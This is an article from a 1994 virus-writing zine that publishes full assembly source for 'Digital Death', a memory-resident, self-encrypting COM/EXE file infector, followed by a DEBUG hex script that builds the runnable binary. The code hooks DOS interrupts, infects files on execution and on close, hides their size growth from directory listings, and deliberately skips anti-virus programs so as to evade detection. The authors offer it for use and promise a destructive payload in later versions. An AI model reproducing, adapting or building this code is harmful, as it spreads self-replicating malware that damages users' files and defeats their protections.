Insane Reality issue #6 - (c)opyright 1994 Immortal Riot                File 004

; ------------------------------------------------------------------------------
;
;                        - Digital Death -       
;       Created by Immortal Riot's destructive development team
;                  (c) 1994 Raver/Immortal Riot     
;
;-------------------------------------------------------------------------------
;	 Memory Resident Stealth Infector of COM/EXE programs 
;-------------------------------------------------------------------------------

Well this is a virus half completed in the last seconds of the
release of issue #6.

It's a resident non-overwriting COM/EXE-infector with stealth
functions and infection on close.

Do I need to point out that this is NOT! a ready production. It's a
working copy but I haven't included all functions yet such as dis-
infect on open and it's NOT! optimized a single byte. Further
releases will be expected and those will also include a decent,
creative nuking routine.

That's it for now - enjoy the code!

% TU comments %

It also infect's on execute (4b00h), and since file-close's are used
by for example the dos command "copy", it will make the replicating
real bad. Hence, both the source and target file will become infected,
whenever a copy is being performed.

It also stealth on 4eh/4fh, so no increase of file-size will be shown.
Furthermore, it avoid to infect some anti-virus programs with self-checking
(Sc* F-P* TB* TO* and VI* as in Scan, F-Prot, Tbscan, Toolkit, VirBuster, 
etc, etc.) and also avoids command.com

It also uses self-encryption, so no scanner, with or without heuristcs 
can flag it. (Zero flags by tbscan 6.26!) Enjoy! - TU

; -----------
;                       DIGITAL DEATH - ver 0.90
; -----------

cseg	segment byte public 'code'
        assume cs:cseg, ds:cseg

	org 100h

vir_size equ end_of_virus-start_of_virus


; -----------
;		         Non-resident Install code
; -----------

start_of_virus:
    call get_delta
get_delta:			    ;get the delta offset
    mov di,sp
    mov bp,word ptr ss:[di]
    sub bp,offset get_delta

    push cs
    pop ds

    call encrypt_decrypt	    ;decrypt virus

; -----------
;	                 Start of encrypted area	         
; -----------

install_code:

    mov ax,es			    ;restore segments now due to prefetch!!
    add ax,10h
    add word ptr cs:[bp+EXEret+2],ax
    add word ptr cs:[bp+EXEstack],ax

    push es

    mov ax,7979h	  	    ;check if already in mem
    int 21h
    cmp ax,'iR'
    je already_resident

    mov ah,4ah			    ;get #of available paragraphs in bx
    mov bx,0ffffh
    int 21h

    sub bx,(vir_size+15)/16+1	    ;recalculate and 
    mov ah,4ah
    int 21h

    mov ah,48h          	    ;allocate enough mem for virus
    mov bx,(vir_size+15)/16
    int 21h
    jc already_resident		    ;exit if error

    dec ax			    ;ax-1 = MCB
    mov es,ax
    mov word ptr es:[1],8	    ;Mark DOS as owner

    push ax			    ;save for later use

    mov ax,3521h		    ;get interrupt vector for int21h
    int 21h
    mov word ptr ds:[OldInt21h],bx
    mov word ptr ds:[OldInt21h+2],es

    pop ax			    ;ax = MCB for allocated mem
    push cs
    pop ds

    cld				    ;cld for movsw
    sub ax,0fh			    ;es:[100h] = start of allocated mem
    mov es,ax
    mov di,100h
    lea si,[bp+offset start_of_virus]
    mov cx,(vir_size+1)/2	    ;copy entire virii to mem
    rep movsw

    push es
    pop ds

    mov dx,offset new_int21h	    ;hook int21h to new_int21h
    mov ax,2521h
    int 21h

already_resident:

    push cs
    push cs
    pop es
    pop ds

    cmp byte ptr [bp+COMflag],1	    ;check if COM or EXE
    jne exit_EXE

exit_COM:			    ;exit procedure for COMs
    mov di,100h
    lea si,[bp+COMret]
    mov cx,3
    rep movsb			    ;restore first three bytes

    pop es			    ;and jmp to beginning
    mov ax,100h
    jmp ax

exit_EXE:			    ;exit procedure for EXEs
    pop es
    mov ax,es			    ;restore segment regs and ss:sp
    mov ds,ax
    cli
    mov ss,word ptr cs:[bp+EXEstack]
    mov sp,word ptr cs:[bp+EXEstack+2]
    sti

db 0eah				    ;and jmp to cs:ip
EXEret db 0,0,0,0
EXEstack dd 0

; -----------
;		            New int 21h handler
; -----------

new_int21h:

    cmp ax,7979h		    ;return installation check
    jne continue
    mov ax,'iR'
    iret
continue:
    cmp ax,4b00h		    ;check for exec?
    jne check_dir
    jmp infect
check_dir:
    cmp ah,11h			    ;if dir function 11h, 12h
    je hide_dir
    cmp ah,12h
    je hide_dir
    cmp ah,4eh			    ;or function 4eh, 4fh
    je hide_dir2
    cmp ah,4fh
    je hide_dir2		    ;do some dir stealth
    cmp ah,3eh			    ;check for close
    jne do_oldint
    jmp infect_close
do_oldint:
    jmp do_oldint21h		    ;else do original int 21h

; -----------
; 		           Dir stealth routines
; -----------

hide_dir:			    ;FCB stealth routine
    pushf			    ;simulate a int call with pushf
    push cs			    ;and cs, ip on the stack
    call do_oldint21h
    or al,al			    ;was the dir call sucessfull??
    jnz skip_dir		    ;if not skip it

    push ax bx es		    ;preserve registers in use

    mov ah,62h			    ;same as 51h - get current PSP to es:bx
    int 21h
    mov es,bx
    cmp bx,es:[16h]		    ;is the PSP ok??
    jnz bad_psp			    ;if not quit

    mov bx,dx
    mov al,[bx]			    ;al holds current drive - FFh means
    push ax			    ;extended FCB
    mov ah,2fh			    ;get DTA-area
    int 21h
    pop ax
    inc al			    ;is it an extended FCB
    jnz no_ext
    add bx,7			    ;if so add 7
no_ext:
    mov al,byte ptr es:[bx+17h]	    ;get seconds field
    and al,1fh
    xor al,1dh			    ;is the file infected??
    jnz no_stealth		    ;if not - don't hide size

    cmp word ptr es:[bx+1dh],vir_size	    ;if size is smaller than vir_size
    ja hide_it				    
    cmp word ptr es:[bx+1fh],0		    ;it can't be infected
    je no_stealth			    ;so don't hide it
hide_it:				    
    sub word ptr es:[bx+1dh],vir_size	    ;else sub vir_size
    sbb word ptr es:[bx+1fh],0
no_stealth:
bad_psp:
    pop es bx ax		    ;restore regs
skip_dir:
    iret			    ;return to program

hide_dir2:
    pushf		            ;simulate a int call - push flags, cs and
    push cs		            ;ip on stack and jump to int handler
    call do_oldint21h
    jc eofs		            ;if no more files - return

    push ax es bx	            ;preserve registers
    mov ah,2fh		            ;get DTA-area
    int 21h

    mov ax,es:[bx+16h]
    and ax,1fh			    ;is the PSP ok??
    xor al,29
    jnz not_inf			    ; if not - jmp

    cmp word ptr es:[bx+1ah],vir_size	     ;don't sub too small files
    ja sub_it
    cmp word ptr es:[bx+1ch],0
    je not_inf
sub_it:
    sub word ptr es:[bx+1ah],vir_size	     ;sub vir_size
    sbb word ptr es:[bx+1ch],0
not_inf:
    pop bx es ax		    ;restore registers
eofs:
    retf 2			    ;return and pop 2 of stack


; -----------
;			 Infect on close routine
; -----------

infect_close:
    push es bp ax bx cx si di ds dx
    cmp bx,4			    ;don't close NULL, AUX and so
    jbe no_close

    call check_name		    ;es:di points to file name
    add di,8			    ;es:di points to extension
    cmp word ptr es:[di],'OC'
    jne try_again
    cmp byte ptr es:[di+2],'M'	    ;if COM or EXE - infect
    je close_infection
try_again:
    cmp word ptr es:[di],'XE'
    jne no_close
    cmp byte ptr es:[di+2],'E'
    je close_infection

no_close:
    pop dx ds di si cx bx ax bp es  ;otherwise jmp to oldint
    jmp do_oldint21h

close_infection:
    mov byte ptr es:[di-26h],2	    ;mark read & write access
    mov cs:Closeflag,1		    ;raise closeflag for exit procedure
    mov ax,4200h		    ;rewind file
    xor cx,cx
    cwd
    int 21h
    jmp infect_on_close		    ;infect it


; -----------
;	           Determine file name for open handle
; -----------

check_name:
    push bx
    mov ax,1220h		    ;get job file table for handle at es:di
    int 2fh

    mov ax,1216h		    ;get system file table
    mov bl,byte ptr es:[di]	    ;for handle index in bx
    int 2fh
    pop bx

    add di,20h			    ;es:di+20h points to file name

    ret				    ;return

; -----------
;		           Infection routine
; -----------

infect:

    push es bp ax bx cx si di ds dx

    mov cs:Closeflag,0		    ;make sure closeflag is off

    mov ax,4300h		    ;get attrib
    int 21h
    push cx
    mov ax,4301h		    ;and clear attrib
    xor cx,cx			    
    int 21h

    mov ax,3d02h		    ;open file
    int 21h
    xchg ax,bx

infect_on_close:		    ;entry point if infection at close

    push cs
    push cs
    pop ds
    pop es

    mov ax,5700h		    ;save and check time/date stamp
    int 21h
    push dx
    push cx
    and cl,1fh
    xor cl,1dh
    jne read_it
    jmp skip_infect

read_it:
    mov ah,3fh			    ;read first 18h bytes 
    mov cx,18h
    mov dx,offset EXEheader	    ;to EXEheader
    int 21h

    mov byte ptr COMflag,0	    ;check if EXE or COM and mark COMflag
    cmp word ptr EXEheader,'ZM'
    je is_EXE
    cmp word ptr EXEheader,'MZ'
    je is_EXE
    mov byte ptr COMflag,1

is_EXE:
    mov ax,4202h		    ;goto end of file
    xor cx,cx
    cwd
    int 21h   

    push ax	                    ;else save ax and infect EXE
    push es
    call check_name

    cmp COMflag,1		    ;if COM file continue to infect_COM
    je infect_COM

infect_EXE:
    cmp word ptr es:[di],'CS'	    ;check for common virus scanners
    je is_scanner
    cmp word ptr es:[di],'BT'
    je is_scanner
    cmp word ptr es:[di],'-F'
    je is_scanner
    cmp word ptr es:[di],'OT'
    je is_scanner
    cmp word ptr es:[di],'IV'
    jne no_scanner
is_scanner:
    pop es
    jmp skip_infect
no_scanner:
    pop es


    mov di,offset EXEret	    ;EXEret = IP/CS
    mov si,offset EXEheader+14h
    mov cx,2
    rep movsw

    mov si,offset EXEheader+0eh	    ;EXEstack = SS/SP
    mov cx,2
    rep movsw

    pop ax		    	    ;restore ax and

    mov cx,10h
    div cx
    sub ax,word ptr [EXEheader+8h]
    mov word ptr [EXEheader+14h],dx	  ;calculate CS:IP
    mov word ptr [EXEheader+16h],ax
    add ax,100
    mov word ptr [EXEheader+0eh],ax	  ;SS:SP
    mov word ptr [EXEheader+10h],100h
    jmp short more_infection

infect_COM:

    cmp word ptr es:[di],'OC'             ;dont infect command.com!
    pop es
    pop ax
    jne no_command_com
    jmp skip_infect

no_command_com:
    mov di,offset COMret	    ;transfer first three bytes
    mov si,offset EXEheader	    ;could remove this and transfer
    mov cx,3			    ;directly from EXEheader instead
    rep movsb			    ;doing so will save approximately 20 bytes

    sub ax,3			    ;subtract three from file length
    mov byte ptr [EXEheader],0e9h   ;and build initial jump
    mov word ptr [EXEheader+1],ax

more_infection:

    mov ah,2ch			    ;get random number from time
    int 21h
    mov word ptr ds:[enc_val],dx    ;store it
    mov ax,08d00h
    mov es,ax
    mov di,100h
    mov si,di
    mov cx,(vir_size+1)/2
    rep movsw
    push es
    pop ds
    xor bp,bp
    call encrypt_decrypt	    ;and encrypt


    mov ah,40h			    ;write it to file
    mov cx,vir_size
    mov dx,offset start_of_virus
    int 21h

    push cs
    pop ds

    cmp byte ptr COMflag,0	    ;if COM file skip the next part
    jne goto_start

    mov ax,4202h    		    ;go to end of file
    xor cx,cx
    cwd
    int 21h

    mov cx,512			    ;recalculate new file length in 512-
    div cx			    ;byte pages
    inc ax
    mov word ptr [EXEheader+2],dx
    mov word ptr [EXEheader+4],ax

goto_start:
    mov ax,4200h		    ;go to beginning of file
    xor cx,cx
    cwd
    int 21h

    cmp byte ptr [COMflag],1	    ;if COM-file write first three bytes
    je write_3
    mov cx,18h			    ;else write whole EXE header
    jmp short write_18h
write_3:
    mov cx,3
write_18h:
    mov dx,offset EXEheader
    mov ah,40h
    int 21h

skip_infect:			    ;restore time/date and mark infected
    mov ax,5701h
    pop cx
    pop dx
    or cl,00011101b
    and cl,11111101b
    int 21h

    cmp byte ptr cs:[Closeflag],1   ;if infection on close - don't close file
    je dont_close
    mov ah,3eh
    int 21h	
    pop cx
dont_close:
    pop dx
    pop ds
    cmp byte ptr cs:[Closeflag],1   ;and don't restore attrib
    je exit_close
    mov ax,4301h
    int 21h
exit_close:
    mov byte ptr cs:Closeflag,0	    ;unmark infection on close

    pop di si cx bx ax bp es

do_oldint21h:			    ;jump to old int21h
db 0eah
OldInt21h dd 0

Closeflag db 0
COMflag db 1
COMret db 0cdh,20h,00h
EXEheader db 18h dup(0)
signature db "Digital Death - v0.90 (c) '94 Raver/Immortal Riot"

end_of_encryption:

; -----------
;    End of encryption - the code below this point is unencrypted
; -----------

enc_val dw 0			    ;value to en/decrypt with

encrypt_decrypt:
    mov dx,word ptr ds:[bp+enc_val]
    lea si,[bp+install_code]
    mov cx,(end_of_encryption-install_code)/2
loopy:
    xor word ptr ds:[si],dx	    ;simple ordinary xor-loop
    inc si			    ;encryption
    inc si
    loop loopy
    ret

; -----------
;		               End of virus
; -----------

end_of_virus:
cseg	ends
	end start_of_virus

N digdeath.com
E  100  E8 00 00 8B FC 36 8B 2D 81 ED 03 01 0E 1F E8 9F
E  110  03 8C C0 05 10 00 2E 01 86 AC 01 2E 01 86 AE 01
E  120  06 B8 79 79 CD 21 3D 52 69 74 4F B4 4A BB FF FF
E  130  CD 21 83 EB 3E 90 B4 4A CD 21 B4 48 BB 3D 00 CD
E  140  21 72 37 48 8E C0 26 C7 06 01 00 08 00 50 B8 21
E  150  35 CD 21 89 1E 5B 04 8C 06 5D 04 58 0E 1F FC 2D
E  160  0F 00 8E C0 BF 00 01 8D B6 00 01 B9 E2 01 F3 A5
E  170  06 1F BA B2 01 B8 21 25 CD 21 0E 0E 07 1F 3E 80
E  180  BE 60 04 01 75 12 BF 00 01 8D B6 61 04 B9 03 00
E  190  F3 A4 07 B8 00 01 FF E0 07 8C C0 8E D8 FA 2E 8E
E  1a0  96 AE 01 2E 8B A6 B0 01 FB EA 00 00 00 00 00 00
E  1b0  00 00 3D 79 79 75 04 B8 52 69 CF 3D 00 4B 75 03
E  1c0  E9 10 01 80 FC 11 74 1A 80 FC 12 74 15 80 FC 4E
E  1d0  74 62 80 FC 4F 74 5D 80 FC 3E 75 03 E9 8E 00 E9
E  1e0  78 02 9C 0E E8 73 02 0A C0 75 48 50 53 06 B4 62
E  1f0  CD 21 8E C3 26 3B 1E 16 00 75 35 8B DA 8A 07 50
E  200  B4 2F CD 21 58 FE C0 75 03 83 C3 07 26 8A 47 17
E  210  24 1F 34 1D 75 1A 26 81 7F 1D C3 03 77 07 26 83
E  220  7F 1F 00 74 0B 26 81 6F 1D C3 03 26 83 5F 1F 00
E  230  07 5B 58 CF 9C 0E E8 21 02 72 2F 50 06 53 B4 2F
E  240  CD 21 26 8B 47 16 25 1F 00 34 1D 75 1A 26 81 7F
E  250  1A C3 03 77 07 26 83 7F 1C 00 74 0B 26 81 6F 1A
E  260  C3 03 26 83 5F 1C 00 5B 07 58 CA 02 00 06 55 50
E  270  53 51 56 57 1E 52 83 FB 04 76 22 E8 42 00 83 C7
E  280  08 26 81 3D 43 4F 75 07 26 80 7D 02 4D 74 1A 26
E  290  81 3D 45 58 75 07 26 80 7D 02 45 74 0C 5A 1F 5F
E  2a0  5E 59 5B 58 5D 07 E9 B1 01 26 C6 45 DA 02 2E C6
E  2b0  06 5F 04 01 90 B8 00 42 33 C9 99 CD 21 EB 37 90
E  2c0  53 B8 20 12 CD 2F B8 16 12 26 8A 1D CD 2F 5B 83
E  2d0  C7 20 C3 06 55 50 53 51 56 57 1E 52 2E C6 06 5F
E  2e0  04 00 90 B8 00 43 CD 21 51 B8 01 43 33 C9 CD 21
E  2f0  B8 02 3D CD 21 93 0E 0E 1F 07 B8 00 57 CD 21 52
E  300  51 80 E1 1F 80 F1 1D 75 03 E9 18 01 B4 3F B9 18
E  310  00 BA 64 04 CD 21 C6 06 60 04 00 81 3E 64 04 4D
E  320  5A 74 0D 81 3E 64 04 5A 4D 74 05 C6 06 60 04 01
E  330  B8 02 42 33 C9 99 CD 21 50 06 E8 83 FF 80 3E 60
E  340  04 01 74 5A 26 81 3D 53 43 74 1C 26 81 3D 54 42
E  350  74 15 26 81 3D 46 2D 74 0E 26 81 3D 54 4F 74 07
E  360  26 81 3D 56 49 75 04 07 E9 B9 00 07 BF AA 01 BE
E  370  78 04 B9 02 00 F3 A5 BE 72 04 B9 02 00 F3 A5 58
E  380  B9 10 00 F7 F1 2B 06 6C 04 89 16 78 04 A3 7A 04
E  390  05 64 00 A3 72 04 C7 06 74 04 00 01 EB 22 26 81
E  3a0  3D 43 4F 07 58 75 03 EB 7B 90 BF 61 04 BE 64 04
E  3b0  B9 03 00 F3 A4 2D 03 00 C6 06 64 04 E9 A3 65 04
E  3c0  B4 2C CD 21 89 16 AE 04 B8 00 8D 8E C0 BF 00 01
E  3d0  8B F7 B9 E2 01 F3 A5 06 1F 33 ED E8 D2 00 B4 40
E  3e0  B9 C3 03 BA 00 01 CD 21 0E 1F 80 3E 60 04 00 75
E  3f0  15 B8 02 42 33 C9 99 CD 21 B9 00 02 F7 F1 40 89
E  400  16 66 04 A3 68 04 B8 00 42 33 C9 99 CD 21 80 3E
E  410  60 04 01 74 05 B9 18 00 EB 03 B9 03 00 BA 64 04
E  420  B4 40 CD 21 B8 01 57 59 5A 80 C9 1D 80 E1 FD CD
E  430  21 2E 80 3E 5F 04 01 74 05 B4 3E CD 21 59 5A 1F
E  440  2E 80 3E 5F 04 01 74 05 B8 01 43 CD 21 2E C6 06
E  450  5F 04 00 5F 5E 59 5B 58 5D 07 EA 00 00 00 00 00
E  460  01 CD 20 00 00 00 00 00 00 00 00 00 00 00 00 00
E  470  00 00 00 00 00 00 00 00 00 00 00 00 44 69 67 69
E  480  74 61 6C 20 44 65 61 74 68 20 2D 20 76 30 2E 39
E  490  30 E1 20 28 63 29 20 27 39 34 20 52 61 76 65 72
E  4a0  2F 49 6D 6D 6F 72 74 61 6C 20 52 69 6F 74 00 00
E  4b0  3E 8B 96 AE 04 8D B6 11 01 B9 CE 01 31 14 46 46
E  4c0  E2 FA C3 
RCX
3c3
W
Q
